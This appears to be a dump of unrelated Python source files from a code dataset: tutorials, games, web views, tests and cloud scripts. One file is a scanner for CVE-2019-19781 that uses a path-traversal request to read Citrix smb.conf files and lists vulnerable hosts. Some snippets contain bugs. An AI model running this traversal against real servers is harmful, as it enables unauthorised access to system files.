text
stringlengths
38
1.54M
class PartyAnimal: x = 0 name = '' # constructor with variab;e def __init__(self, z): self.name = z print('I am constructed') def party(self): self.x = self.x + 1 print(self.name, 'So far', self.x) # destructor def __del__(self): print('I am destructed', self.x) tom = PartyAnimal("Tom") tom.party() tom.party() tom = 42 print('an contains: ', tom) ann = PartyAnimal("Ann") ann.party() # Class - a template # Attribute - a variable within a class # Method - a function within a class # Object - a particular instance of a class # Constructor - code that runs when an object is created # Inheritance - the ability to extend a class to make a new class
import random def display_board(board): print('\n'*100) print(board[7] + ' | ' + board[8] + ' | ' + board[9]) print('-------------') print(board[4] + ' | ' + board[5] + ' | ' + board[6]) print('-------------') print(board[1] + ' | ' + board[2] + ' | ' + board[3]) def player_input(): ''' OUTPUT = (Player 1 marker , layer 2 marker) ''' marker = 'o' while not (marker =='X' or marker =='O'): marker = input('Player 1: Choose X or O').upper() if marker == 'X': return ('X','O') else: return ('O','X') def place_marker (board, marker, position): board[position] = marker def win_check(board, marker): return ((board[7] == board[8] == board[9] == marker) or (board[4] == board[5] == board[6] == marker) or (board[1] == board[2] == board[3] == marker) or (board[1] == board[4] == board[7] == marker) or (board[2] == board[5] == board[8] == marker) or (board[3] == board[5] == board[9] == marker) or (board[1] == board[5] == board[9] == marker) or (board[3] == board[5] == board[7] == marker)) def chooos_first(): flip = random.randint(0,1) if flip == 0: return 'Player 1' else: return 'Player 2' def space_check (board, position): return board[position] == ' ' def full_board_check(board): for i in range(1,10): if space_check(board,i): return False return True def player_choice(board): position = 0 while position not in range(1,10) or not space_check(board,position): try: position = int(input('Choose a position: (1-9)')) except ValueError: pass return position def replay(): return input('Do you want to play again? Enter Y or N: ').lower().startswith('y') print('Welcome to Tic Tac Toe') while True: the_board = [' '] * 10 player1_marker, player2_marker = player_input() turn = chooos_first() print(turn + ' will go first') play_game = input('Ready to play? Y or n').upper() if play_game == 'Y': game_on = True else: game_on = False while game_on: if turn == 'Player 1': display_board(the_board) position = player_choice(the_board) place_marker(the_board, player1_marker, position) if win_check(the_board, player1_marker): display_board(the_board) print('Player 1 has won!!!') game_on = False else: if full_board_check(the_board): display_board(the_board) print('Tie game') break else: turn = 'Player 2' else: display_board(the_board) position = player_choice(the_board) place_marker(the_board, player2_marker, position) if win_check(the_board, player2_marker): display_board(the_board) print('Player 2 has won!!!') game_on = False else: if full_board_check(the_board): display_board(the_board) print('Tie game') break else: turn = 'Player 1' if not replay(): break
myfirstlist = [10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20] print(myfirstlist) listone = range(10,21) print(listone) listtwo = [0, 0, 0, 0, 0] print(listtwo) emptylist = [] print(emptylist) listfour = [] for i in range(5): listfour.append(0) print(listfour) listfive = ["a", 5, "doodle", 3, 10] print(len(listfive)) del(listfive[2]) print(listfive) listfive.append("cackle") print(listfive) listfive[0] = 8.4 print(listfive) print(listfive) #listsix = [] #for i in range(5): #listsix.append(listsix[i] + 1) #if i % 2 == 0: #del(listsix[i]) #print(listsix)
def only_randint(): from random import randint x = randint(5,15) return x print(only_randint())
#-*- coding: UTF-8 -*- import logging import urllib import urllib2 from django.conf import settings from django.utils.encoding import smart_str from sendsms.backends.base import BaseSmsBackend logger = logging.getLogger(__name__) HTTP_URL = 'http://api.infosmska.ru/interfaces/SendMessages.ashx' USERNAME = settings.INFOSMSKARU_USERNAME PASSWORD = settings.INFOSMSKARU_PASSWORD class HTTPClient(BaseSmsBackend): common = dict(login=USERNAME, pwd=PASSWORD) def format_phone(self, phone): phone = phone.lstrip('+') if len(phone) == 10: # by default add russian code phone = '7' + phone return phone def send_messages(self, messages): result = 0 for message in messages: result += self._send(message) return result def _send(self, message): context = { 'message': smart_str(message.body, encoding='utf8'), 'phones': ','.join(self.format_phone(tel) for tel in message.to), 'sender': smart_str(message.from_phone, encoding='ascii', errors='ignore'), } context.update(self.common) params = urllib.urlencode(context) try: resp = urllib2.urlopen('%s?%s' % (HTTP_URL, params,)) except IOError, exc: if not self.fail_silently: raise else: logger.error(u'Error sending: %s', exc) return False resp = resp.read() logger.debug(u'response was %s', resp) if not resp.startswith('Ok:'): if not self.fail_silently: raise RuntimeError(resp) else: logger.error(u'Error sending: %s', resp) return False logger.debug(u'sms sended %s', message.body) return True class SOAPClient(BaseSmsBackend): pass # TODO
from .base import Base import os class Prune(Base): """Prompts the user to prune their docker environment""" def run(self): os.system("docker system prune")
""" Copyright 2014 Rackspace Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import time from cloudroast.blockstorage.volumes_api.integration.compute.fixtures \ import ComputeIntegrationTestFixture class VolumeSnapshotIntegrationSmokeTests(ComputeIntegrationTestFixture): @classmethod def setUpClass(cls): super(VolumeSnapshotIntegrationSmokeTests, cls).setUpClass() # Build new server using configured defaults cls.test_server = cls.new_server(add_cleanup=True) # Set remote instance client up cls.server_conn = cls.connect_to_instance(cls.test_server) cls.volume_mount_point = cls.server_conn.generate_mountpoint() cls.test_volume = cls.new_volume() cls.test_attachment = cls.attach_volume_and_get_device_info( cls.server_conn, cls.test_server.id, cls.test_volume.id_) @classmethod def attach_volume_and_get_device_info( cls, server_connection, server_id, volume_id): # Get list of devices with original volume attached original_devices = server_connection.get_all_disk_details() cls.fixture_log.debug( "Pre-attach devices: {}".format(original_devices)) attachment = \ cls.volume_attachments.behaviors.attach_volume_to_server( server_id, volume_id) assert attachment, "Could not attach volume {0} to server {1}".format( volume_id, server_id) # Wait for device to show up on VM. Currently this is expected to # be fairly instantaneous; the wait was added to help catch rare # erroneous behavior. volume_details = None current_devices = None cls.fixture_log.debug("Waiting for device to show up on server") # Note, this timeout is arbitrary and will be removed once this # loop is replaced with a StatusProgressionVerifier. end = time.time() + 30 while end > time.time(): current_devices = server_connection.get_all_disk_details() new_devices = [ d for d in current_devices if d not in original_devices] if len(new_devices) > 0: volume_details = new_devices break else: cls.fixture_log.debug( "New device hasn't shown up yet, waiting 5 seconds") time.sleep(5) else: cls.fixture_log.debug( "Visible devices: {}".format(current_devices)) raise Exception("Could not verify attached volume assigned device") cls.fixture_log.debug("Device found on server") cls.fixture_log.debug("Visible devices: {}".format(current_devices)) setattr(attachment, 'os_disk_details', volume_details) os_disk_device_name = \ volume_details[0].get('Number') or "/dev/{0}".format( volume_details[0].get('name')) assert os_disk_device_name, ( "Could not get a unique device name from the OS") setattr(attachment, 'os_disk_device_name', os_disk_device_name) return attachment def test_restore_snapshot_of_written_volume_and_verify_data(self): # Format Volume self.format_attached_volume( self.server_conn, self.test_attachment.os_disk_device_name) # Mount Volume self.mount_attached_volume( self.server_conn, self.test_attachment.os_disk_device_name, mount_point=self.volume_mount_point) # Write data to volume resp = self.create_remote_file( self.server_conn, self.volume_mount_point, "testfile") assert resp is not None, ( "Could not verify writability of attached volume") # Save written file md5sum self.original_md5hash = self.get_remote_file_md5_hash( self.server_conn, self.volume_mount_point, "testfile") assert self.original_md5hash is not None, ( "Unable to hash file on mounted volume") # Make the fs write cached data to disk before unmount. self.server_conn.filesystem_sync() # Unmount original volume self.unmount_attached_volume( self.server_conn, self.test_attachment.os_disk_device_name) # Snapshot unattached used volume self.test_snapshot = self.new_snapshot( self.test_volume.id_, add_cleanup=True) self.addCleanup( self.volumes.behaviors.delete_snapshot_confirmed, self.test_snapshot.id_) # Re-connect to server to prevent timeout issues self.server_conn = self.connect_to_instance(self.test_server) # Restore snapshot to new volume self.restored_snapshot_volume = \ self.volumes.behaviors.create_available_volume( self.test_volume.size, self.test_volume.volume_type, self.random_snapshot_name(), snapshot_id=self.test_snapshot.id_) self.addCleanup( self.volumes.behaviors.delete_volume_confirmed, self.restored_snapshot_volume.id_) # Attach new volume to server self.new_volume_mount_point = self.server_conn.generate_mountpoint() self.restored_volume_attachment = \ self.attach_volume_and_get_device_info( self.server_conn, self.test_server.id, self.restored_snapshot_volume.id_) # Mount new volume on the server self.mount_attached_volume( self.server_conn, self.restored_volume_attachment.os_disk_device_name, mount_point=self.volume_mount_point) # Verify data on restored volume new_md5hash = self.get_remote_file_md5_hash( self.server_conn, self.volume_mount_point, "testfile") assert new_md5hash is not None, ( "Unable to hash file on mounted volume") assert new_md5hash == self.original_md5hash, ( "Unable to hash file on mounted volume")
from enum import Enum class Bound(Enum): UPPER = 'ub' LOWER = 'lb' class Op(Enum): ADD = 0 MINUS = 1
from setuptools import setup setup( name='bitbelt', packages=['bitbelt'], include_package_data=True, install_requires=[ 'flask', 'pymongo', 'mongoengine', 'six' ] )
inputFile = open ('myimage.jpg', 'rb') outputFile = open ('myoutputimage.jpg', 'wb') msg = inputFile.read(10) while len(msg): #outputFile.write(msg + '\n') outputFile.write(msg) msg = inputFile.read(10) inputFile.close() outputFile.close()
# -*- coding: utf-8 -*- __author__ = 'karavanjo' from models import * from helpers import * from decorators import authorized from pyramid.view import view_config from pyramid.response import Response from sqlalchemy import func, distinct, and_ from sqlalchemy.orm import joinedload from sqlalchemy.sql.expression import asc, desc from geoalchemy import WKTSpatialElement, functions import transaction import json @view_config(route_name='uiks', request_method='GET') def get_all(context, request): page_size = 50 is_filter_applied = False filter = json.loads(request.GET['filter']) clauses = [] if filter['uik']: filter['uik']['address'] = filter['uik']['address'].encode('UTF-8').strip() filter['uik']['number'] = filter['uik']['number'].encode('UTF-8').strip() if filter['uik']['address'] or filter['uik']['number']: is_filter_applied = True if filter['uik']['address'].__len__() > 3: address = '%' + filter['uik']['address'] + '%' clauses.append(Uik.address_voting.ilike(address)) if filter['uik']['number']: number = filter['uik']['number'] clauses.append(Uik.number_official == number) bbox = json.loads(request.params.getall('bbox')[0]) box_geom = leaflet_bbox_to_polygon(bbox) uiks_for_json = {'points': { 'count': 0, 'layers': { 'checked': {'elements': [], 'count': 0}, 'unchecked': {'elements': [], 'count': 0}, 'blocked': {'elements': [], 'count': 0} }}} session = DBSession() if is_filter_applied: contains = functions.gcontains(box_geom, Uik.point).label('contains') uiks_from_db = session.query(Uik, Uik.point.x, Uik.point.y) \ .filter(*clauses) \ .order_by(contains.desc()) \ .limit(page_size) \ .all() if len(uiks_from_db) < page_size: uiks_for_json['points']['count'] = len(uiks_from_db) else: uiks_for_json['points']['count'] = session.query(Uik.id) \ .filter(*clauses) \ .count() else: uiks_from_db = session.query(Uik, Uik.point.x, Uik.point.y) \ .filter(Uik.point.within(box_geom)) \ .all() uiks_for_json['points']['count'] = len(uiks_from_db) for uik in uiks_from_db: if uik[0].is_blocked: uiks_for_json['points']['layers']['blocked']['elements'].append(_get_uik_from_uik_db(uik)) continue if uik[0].is_applied: uiks_for_json['points']['layers']['checked']['elements'].append(_get_uik_from_uik_db(uik)) continue uiks_for_json['points']['layers']['unchecked']['elements'].append(_get_uik_from_uik_db(uik)) uiks_for_json['points']['layers']['blocked']['count'] = len(uiks_for_json['points']['layers']['blocked']['elements']) uiks_for_json['points']['layers']['checked']['count'] = len(uiks_for_json['points']['layers']['checked']['elements']) uiks_for_json['points']['layers']['unchecked']['count'] = len(uiks_for_json['points']['layers']['unchecked']['elements']) uiks_result = {'data': uiks_for_json} return Response(json.dumps(uiks_result), content_type='application/json') def _get_uik_from_uik_db(uik_from_db): return { 'id': uik_from_db[0].id, 'name': uik_from_db[0].number_official, 'addr': uik_from_db[0].address_voting, 'lon': uik_from_db[1], 'lat': uik_from_db[2] } @view_config(route_name='uik', request_method='GET') def get_uik(context, request): clauses = [] id = request.matchdict.get('id', None) region_id = request.matchdict.get('region_id', None) uik_official_number = request.matchdict.get('official_number', None) if id is not None: clauses.append(Uik.id == id) elif (region_id is not None) and (uik_official_number is not None): clauses.append(Uik.number_official == uik_official_number) clauses.append(Uik.region_id == int(region_id)) session = DBSession() uik = session.query(Uik, Uik.point.x, Uik.point.y, GeocodingPrecision, Region, Tik, User) \ .outerjoin((GeocodingPrecision, Uik.geocoding_precision_id == GeocodingPrecision.id)) \ .outerjoin((Region, Uik.region_id == Region.id)) \ .outerjoin((Tik, Uik.tik_id == Tik.id)) \ .outerjoin((User, Uik.user_block_id == User.id)) \ .filter(*clauses).one() versions = session.query(UikVersions, User.display_name, UikVersions.time) \ .outerjoin((User, UikVersions.user_id == User.id)) \ .filter(UikVersions.uik_id == id).order_by(UikVersions.time).all() uik_res = { 'uik': uik[0].to_dict(), 'geo_precision': uik[3].to_dict(), 'region': uik[4].to_dict(), 'tik': uik[5].to_dict(), 'versions': [{'display_name': version[1], 'time': to_russian_datetime_format(version[2])} for version in versions] } uik_res['uik']['geom'] = {'lng': uik[1], 'lat': uik[2]} uik_res['uik']['user_blocked'] = '' uik_res['uik']['is_blocked'] = False if uik[0].is_blocked: uik_res['uik']['is_blocked'] = True uik_res['uik']['user_blocked'] = uik[0].user_block.display_name uik_res['uik']['is_unblocked'] = '' if 'u_id' in request.session and uik[0].is_blocked and \ request.session['u_id'] == uik[0].user_block.id: uik_res['uik']['is_unblocked'] = True return Response(json.dumps(uik_res), content_type='application/json') @view_config(route_name='uik_by_off_number', request_method='GET') def get_uik_by_off_number(context, request): return get_uik(context, request) @view_config(route_name='uik', request_method='POST') @authorized() def update_uik(context, request): uik = json.loads(request.POST['uik']) session = DBSession() from helpers import str_to_boolean session.query(Uik).filter(Uik.id == uik['id']).update({ Uik.address_voting: uik['address_voting'], Uik.place_voting: uik['place_voting'], Uik.is_applied: str_to_boolean(uik['is_applied']), Uik.comment: uik['comment'], Uik.geocoding_precision_id: uik['geo_precision'], Uik.is_blocked: False, Uik.user_block_id: None }, synchronize_session=False) sql = 'UPDATE uiks SET point=ST_GeomFromText(:wkt, 4326) WHERE id = :uik_id' session.execute(sql, { 'wkt': 'POINT(%s %s)' % (uik['geom']['lng'], uik['geom']['lat']), 'uik_id': uik['id'] }) log = UikVersions() log.uik_id = uik['id'] log.user_id = request.session['u_id'] from datetime import datetime log.time = datetime.now() log.dump = log.to_json_binary_dump(uik) session.add(log) transaction.commit() return Response() @view_config(route_name='uik_block', request_method='GET') @authorized() def uik_block(context, request): id = request.matchdict.get('id', None) session = DBSession() session.query(Uik).filter(Uik.id == id).update({ Uik.is_blocked: True, Uik.user_block_id: request.session['u_id'] }) transaction.commit() return Response() @view_config(route_name='uik_unblock', request_method='GET') @authorized() def uik_unblock(context, request): id = request.matchdict.get('id', None) session = DBSession() session.query(Uik).filter(Uik.id == id).update({ Uik.is_blocked: False, Uik.user_block_id: None }) transaction.commit() return Response() @view_config(route_name='logs', request_method='GET', renderer='log.mako') def get_logs(context, request): session = DBSession() user_uiks_count_sbq = session \ .query(UikVersions.user_id.label('user_id'), func.count(UikVersions.uik_id.distinct()).label('count_uiks')) \ .group_by(UikVersions.user_id) \ .subquery() user_uiks_logs = session.query(User, user_uiks_count_sbq.c.count_uiks) \ .outerjoin(user_uiks_count_sbq, User.id == user_uiks_count_sbq.c.user_id) \ .order_by(desc(user_uiks_count_sbq.c.count_uiks)) # count_editable_uiks = session.query(func.count(UikVersions.uik_id.distinct())).scalar() count_approved_uiks = session.query(func.count(Uik.id)).filter(Uik.is_applied == True).scalar() count_all_uiks = session.query(func.count(Uik.id)).scalar() results = { 'count': { 'all': count_all_uiks, # 'editable': count_editable_uiks, 'approved': count_approved_uiks }, 'uiks_by_users': []} rank = 1 for user_uiks_log in user_uiks_logs: registered_time = '' if user_uiks_log[0].registered_time: registered_time = user_uiks_log[0].registered_time.strftime('%Y-%m-%d %H:%m') if user_uiks_log[1]: results['uiks_by_users'].append({ 'user_name': user_uiks_log[0].display_name, 'registered_time': registered_time, 'count_uiks': user_uiks_log[1], 'rank': rank }) rank += 1 return { 'results': results } @view_config(route_name='uikp_all', request_method='GET') def get_president_uiks(context, request): page_size = 100 is_filter_applied = False filter = json.loads(request.GET['filter']) clauses = [] if 'filter' in request.GET: filter['uik_2012']['address'] = filter['uik_2012']['address'].encode('UTF-8').strip() filter['uik_2012']['number'] = filter['uik_2012']['number'].encode('UTF-8').strip() if filter['uik_2012']['address'] or filter['uik_2012']['number']: is_filter_applied = True if filter['uik_2012']['address'].__len__() > 3: address = '%' + filter['uik_2012']['address'] + '%' clauses.append(VotingStation.address.ilike(address)) if filter['uik_2012']['number']: number = filter['uik']['number'] clauses.append(VotingStation.name == number) bbox = json.loads(request.params.getall('bbox')[0]) box_geom = leaflet_bbox_to_polygon(bbox) uiks_for_json = {'points': { 'count': 0, 'layers': { 'uik_2012': {'elements': [], 'count': 0} }}} session = DBSession() if is_filter_applied: contains = functions.gcontains(box_geom, Location.point).label('contains') uiks_from_db = session.query(VotingStation, Location.point.x, Location.point.y) \ .join(VotingStation.location) \ .filter(*clauses) \ .order_by(contains.desc()) \ .limit(page_size) \ .all() if len(uiks_from_db) < page_size: uiks_for_json['points']['count'] = len(uiks_from_db) else: uiks_for_json['points']['count'] = session.query(VotingStation.id) \ .filter(*clauses) \ .count() else: uiks_from_db = session.query(VotingStation, Location.point.x, Location.point.y) \ .join(VotingStation.location) \ .filter(Location.point.within(box_geom)) \ .all() uiks_for_json['points']['count'] = len(uiks_from_db) for uik in uiks_from_db: uiks_for_json['points']['layers']['uik_2012']['elements'].append(_get_uik2012_from_uik_db(uik)) uiks_for_json['points']['layers']['uik_2012']['count'] = uiks_for_json['points']['count'] return Response(json.dumps(uiks_for_json), content_type='application/json') def _get_uik2012_from_uik_db(uik_from_db): return {'id': uik_from_db[0].id, 'name': uik_from_db[0].name, 'addr': uik_from_db[0].address, 'lon': uik_from_db[1], 'lat': uik_from_db[2]} @view_config(route_name='uikp', request_method='GET') def get_uik2012(context, request): id = request.matchdict.get('id', None) session = DBSession() uik = session.query(VotingStation, Location, Location.point.x, Location.point.y) \ .join(VotingStation.location) \ .filter(VotingStation.id == id).one() uik_res = { 'uikp': { 'id': uik[0].id, 'name': uik[0].name if uik[0].name else'', 'comment': uik[0].comment if uik[0].comment else '', 'address': uik[0].address if uik[0].address else '' } } uik_res['uikp']['geom'] = {'id': uik[1].id, 'lng': uik[2], 'lat': uik[3]} return Response(json.dumps(uik_res), content_type='application/json') @view_config(route_name='stat_json', request_method='POST') def get_stat(context, request): user_name = None if hasattr(request, 'cookies') and 'sk' in request.cookies.keys() and 'sk' in request.session and \ request.session['sk'] == request.cookies['sk'] and 'u_name' in request.session: user_name = request.session['u_name'] session = DBSession() uiks_from_db = session.query(Uik, Uik.point.x, Uik.point.y) \ .join('geocoding_precision') \ .join('tik') \ .join('region') clauses = [] if request.POST: if exist_filter_parameter('geocoding_precision', request): clauses.append(Uik.geocoding_precision_id == request.POST['geocoding_precision']) if exist_filter_parameter('is_applied', request): clauses.append(Uik.is_applied == (request.POST['is_applied'] == 'True')) if exist_filter_parameter('number_official', request): clauses.append(Uik.number_official == request.POST['number_official']) if exist_filter_parameter('region', request): clauses.append(Uik.region_id == int(request.POST['region'])) if exist_filter_parameter('place_voting', request): clauses.append(Uik.place_voting.ilike('%' + request.POST['place_voting'].encode('UTF-8').strip() + '%')) if exist_filter_parameter('tik', request): clauses.append(Uik.tik_id == int(request.POST['tik'])) if exist_filter_parameter('user_id', request): user_uiks_subq = (session.query(distinct(UikVersions.uik_id).label("uik_id")) .filter(UikVersions.user_id == int(request.POST['user_id']))) \ .subquery() uiks_from_db = uiks_from_db.join(user_uiks_subq, and_(Uik.id == user_uiks_subq.c.uik_id)) uiks_from_db = uiks_from_db.filter(*clauses) if 'jtSorting' in request.params: sort = request.params['jtSorting'] sort = sort.split(' ') if sort[1] == 'ASC': uiks_from_db = uiks_from_db.order_by(asc(get_sort_param(sort[0]))) if sort[1] == 'DESC': uiks_from_db = uiks_from_db.order_by(desc(get_sort_param(sort[0]))) else: uiks_from_db = uiks_from_db.order_by(asc(Uik.number_official)) count = uiks_from_db.count() uiks_from_db = uiks_from_db.offset(request.params['jtStartIndex']) \ .limit(request.params['jtPageSize']) \ .all() return Response(json.dumps({ 'Result': 'OK', 'Records': [create_uik_stat(uik) for uik in uiks_from_db], 'TotalRecordCount': count }), content_type='application/json') def exist_filter_parameter(param, request): return (param in request.POST) and (len(request.POST[param].encode('UTF-8').strip()) > 0) def create_uik_stat(uik_from_db): uik = uik_from_db[0].to_dict() uik['tik'] = uik_from_db[0].tik.name uik['geocoding_precision'] = uik_from_db[0].geocoding_precision.name_ru uik['region'] = uik_from_db[0].region.name uik['lng'] = uik_from_db[1] uik['lat'] = uik_from_db[2] return uik params = { 'number_official': Uik.number_official, 'tik': Tik.name, 'geocoding_precision': GeocodingPrecision.name_ru, 'region': Region.name, 'place_voting': Uik.place_voting, 'is_applied': Uik.is_applied, 'comment': Uik.comment } def get_sort_param(param): return params[param] def build_filtering_query(request, query): if 'jtSorting' in request.params: return request @view_config(route_name='statistic', request_method='GET', renderer='stat.mako') def get_stat_page(context, request): session = DBSession() user_uiks_count_sbq = session \ .query(UikVersions.user_id.label('user_id'), func.count(UikVersions.uik_id.distinct()).label('count_uiks')) \ .group_by(UikVersions.user_id) \ .subquery() user_uiks_logs = session.query(User, user_uiks_count_sbq.c.count_uiks) \ .outerjoin(user_uiks_count_sbq, User.id == user_uiks_count_sbq.c.user_id) \ .order_by(User.display_name) return { 'tiks': session.query(Tik).order_by(Tik.name).all(), 'geocoding_precisions': session.query(GeocodingPrecision).order_by(GeocodingPrecision.name_ru).all(), 'regions': session.query(Region).order_by(Region.name).all(), 'users': user_uiks_logs.all() }
import requests import format Servers = [] def Submit(url): with requests.Session() as s: r = requests.Request(method='GET', url=url) prep = r.prepare() prep.url = url return s.send(prep, verify=False, timeout=2) def Scan(ip, port): try: print("Scanning for CVE-2019-19781 on: %s " % ip, end="\r") # Cleaning up output a little if port == "80": url = ("http://%s:%s/vpn/js/%%2e./.%%2e/%%76pns/cfg/smb.conf" % (ip, port)) req = Submit(url) else: url = ("https://%s:%s/vpn/js/%%2e./.%%2e/%%76pns/cfg/smb.conf" % (ip, port)) req = Submit(url) if "[global]" in str(req.content) and "encrypt passwords" in str(req.content) and ( "name resolve order") in str(req.content): print("Server: %s is still vulnerable to CVE-2019-19781." % ip) Servers.append(ip) return 1 elif "Citrix" in str(req.content) or "403" in str(req.status_code): print( "Server: %s is not vulnerable." % (ip)) except requests.ReadTimeout: pass except requests.ConnectTimeout: pass except requests.ConnectionError: pass def run(filename): a = format.Format() a.ImportTargetFromFile(filename) target_list = a.GetTarget() for target in target_list: ip = target[0] port = target[1] Scan(ip, port) if __name__ == '__main__': run('test.txt') for item in Servers: print(item + '\n')
from getpass import getpass from quantuminspire.credentials import get_token_authentication, get_basic_authentication def get_authentication(qi_email=None, qi_password=None, token=None): """ Gets the authentication for connecting to the Quantum Inspire API.""" if token is not None: return get_token_authentication(token) else: if qi_email is None or qi_password is None: print('Enter email') email = input() print('Enter password') password = getpass() else: email, password = qi_email, qi_password return get_basic_authentication(email, password)
import boto3 import json import os from datetime import date datetime = str dynamodb = boto3.client('dynamodb') def lambda_handler(event, context): print("Received event: " + json.dumps(event, indent=2)) SG = event["queryStringParameters"]["Security_Group"] print (SG) SG_region = event["queryStringParameters"]["Security_Group_Region"] print (SG_region) Port = 3389 Protocol = event["queryStringParameters"]["Protocol"] print (Protocol) client = event["queryStringParameters"]["Ip_client"] print (client) connection = boto3.client('ec2', region_name=SG_region) action = event["queryStringParameters"]["action"] if action == "add" : try: response = connection.authorize_security_group_ingress( GroupId=SG, IpPermissions=[ { 'FromPort': Port, 'IpProtocol': Protocol, 'IpRanges': [ { 'CidrIp': client, 'Description': 'RDP connection from client', }, ], 'ToPort': Port, }, ], ), print(response) today = date.today() datetime = today.strftime("%d/%m/%Y") dynamodb.put_item(TableName='TableName', # set your table name between quotes Item={ 'CreationDate':{'S':(datetime)}, 'IP':{'S':(client)}, 'SG':{'S':(SG)} } ) return { 'statusCode': '200', 'body': json.dumps(response), 'headers': { 'Content-Type': 'application/json', } } except Exception: response = "security group error" return { 'statusCode': '200', 'body': json.dumps(response), 'headers': { 'Content-Type': 'application/json', } } if action == "remove" : try: response = connection.revoke_security_group_ingress( GroupId=SG, IpPermissions=[ { 'FromPort': Port, 'IpProtocol': Protocol, 'IpRanges': [ { 'CidrIp': client, 'Description': 'RDP connection from client', }, ], 'ToPort': Port, }, ], ), print(response) today = date.today() datetime = today.strftime("%d/%m/%Y") value = dynamodb.delete_item(TableName='TableName', # set your table name between quotes Key={ 'CreationDate':{'S':(datetime)}, 'IP':{'S':(client)} } ) print (value) return { 'statusCode': '200', 'body': json.dumps(response), 'headers': { 'Content-Type': 'application/json', } } except Exception: response = "security group error" return { 'statusCode': '200', 'body': json.dumps(response), 'headers': { 'Content-Type': 'application/json', } }
#! /usr/bin/env python ########################################################################## # CAPSUL - Copyright (C) CEA, 2013 # Distributed under the terms of the CeCILL-B license, as published by # the CEA-CNRS-INRIA. Refer to the LICENSE file or to # http://www.cecill.info/licences/Licence_CeCILL-B_V1-en.html # for details. ########################################################################## import logging from soma.qt_gui.qt_backend import QtGui from capsul.apps_qt.base.window import MyQUiLoader from controller_gui_builder import ControllerGUIBuilder class ControllerWindow(MyQUiLoader): """ Window to set the pipeline parameters. """ def __init__(self, pipeline_instance, ui_file): """ Method to initialize the controller window. Parameters ---------- pipeline_instance: Pipeline (mandatory) the pipeline we want to parametrize ui_file: str (madatory) a filename that contains all the user interface description """ # Load UI MyQUiLoader.__init__(self, ui_file) # Define controls self.controls = {QtGui.QTreeWidget: ["tree_controller", ], QtGui.QWidget: ["tree_widget", ]} # Find controls self.add_controls_to_ui() # Init tree self.ui.tree_controller.setColumnCount(3) self.ui.tree_controller.headerItem().setText(0, "Node Name") self.ui.tree_controller.headerItem().setText(1, "Plug Name") self.ui.tree_controller.headerItem().setText(2, "Plug Value") # Update window name self._pipeline = pipeline_instance self.ui.tree_widget.parentWidget().setWindowTitle( "Controller Viewer: {0}".format(self._pipeline.name)) # Init the tree ControllerGUIBuilder(self._pipeline, self.ui) def show(self): """ Shows the widget and its child widgets. """ self.ui.show() def add_controls_to_ui(self): """ Method that set all desired controls in ui. """ for control_type in self.controls.keys(): for control_name in self.controls[control_type]: try: value = self.ui.findChild(control_type, control_name) except: logging.warning("{0} has no attribute " "'{1}'".format(type(self.ui), control_name)) setattr(self.ui, control_name, value)
"""""Given an array nums of n integers, are there elements a, b, c in nums such # that a + b + c = 0? Find all unique triplets in the array which gives the sum of zero. #Note: #The solution set must not contain duplicate triplets. #Example: #Given array nums = [-1, 0, 1, 2, -1, -4], #A solution set is: [ [-1, 0, 1], [-1, -1, 2] ] """ def threeSum(nums): """ :type nums: List[int] :rtype: List[List[int]] """ # if less than three numbers, don't bother searching if len(nums) < 3: return [] # sort nums and use current sum to see if should have larger number or smaller number nums = sorted(nums) triplets = [] for i in range(len(nums)-2): # i point to first number to sum in list j = i + 1 # j points to middle number to sum in list k = len(nums) - 1 # k points to last number to sum in list while j < k: currSum = nums[i] + nums[j] + nums[k] if currSum == 0: tmpList = sorted([nums[i], nums[j], nums[k]]) if tmpList not in triplets: triplets.append(tmpList) j += 1 # go to next number to avoid infinite loop # sum too large, so move k to smaller number elif currSum > 0: k -= 1 # sum too small so move j to larger number elif currSum < 0: j += 1 return triplets nums = [-1, 0, 1, 2, -1, -4] print(threeSum(nums))
import sys, math from autobahn.websocket import connectWS from twisted.python import log from twisted.internet import defer, reactor from autobahn.websocket import listenWS from autobahn.wamp import exportRpc, \ WampServerFactory, \ WampServerProtocol, WampClientFactory, WampClientProtocol, Handler import urllib2 import urllib import json #import threading from threading import Thread import time class notifications(): @exportRpc def changeUserStateConexion(self, event): try: url = "http://localhost:8000/changeUserStateConexion" values = event encode = urllib.urlencode(values) auxUrl = url + '?' + encode req = urllib2.Request(auxUrl) response = urllib2.urlopen(req) response1 = response.read() return json.loads(response1) except KeyError: return {"error" : "Key don't exist in Json"} class WampServerFilper(WampServerProtocol): def onSessionOpen(self): self.notifications = notifications() self.registerForRpc(self.notifications, "http://filper.com/rpc/notifications#") self.registerForPubSub("http://filper.com/pubSub/notifications#", True) if __name__ == '__main__': if len(sys.argv) > 1 and sys.argv[1] == 'debug': log.startLogging(sys.stdout) debug = True else: debug = False factory = WampServerFactory("ws://localhost:9000", debugWamp = debug) factory.protocol = WampServerFilper listenWS(factory) reactor.run()
# 257. Binary Tree Paths # Given a binary tree, return all root-to-leaf paths. # Note: A leaf is a node with no children. # Example: # Input: # 1 # / \ # 2 3 # \ # 5 # Output: ["1->2->5", "1->3"] # Explanation: All root-to-leaf paths are: 1->2->5, 1->3 # Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: # Divide Conquer def binaryTreePaths(self, root): """ :type root: TreeNode :rtype: List[str] """ paths = [] if not root: return paths left_path = self.binaryTreePaths(root.left) right_path = self.binaryTreePaths(root.right) for node in left_path: paths.append(str(root.val) + '->' + path) for node in right_path: paths.append(str(root.val) + '->' + path) if root.left is None and root.right is None: # 该root是叶子节点 paths.append(str(root.val)) return paths # Traverse def binaryTreePaths(self, root): result = [] if not root: return result self.traverse(root, str(root.val), result) return result def traverse(self, root, path, result): if not root: return if root.left is None and root.right is None: result.append(path) return if root.left: self.traverse(root.left, path + '->' + str(root.left.val), result) if root.right: self.traverse(root.right, path + '->' + str(root.right.val), result)
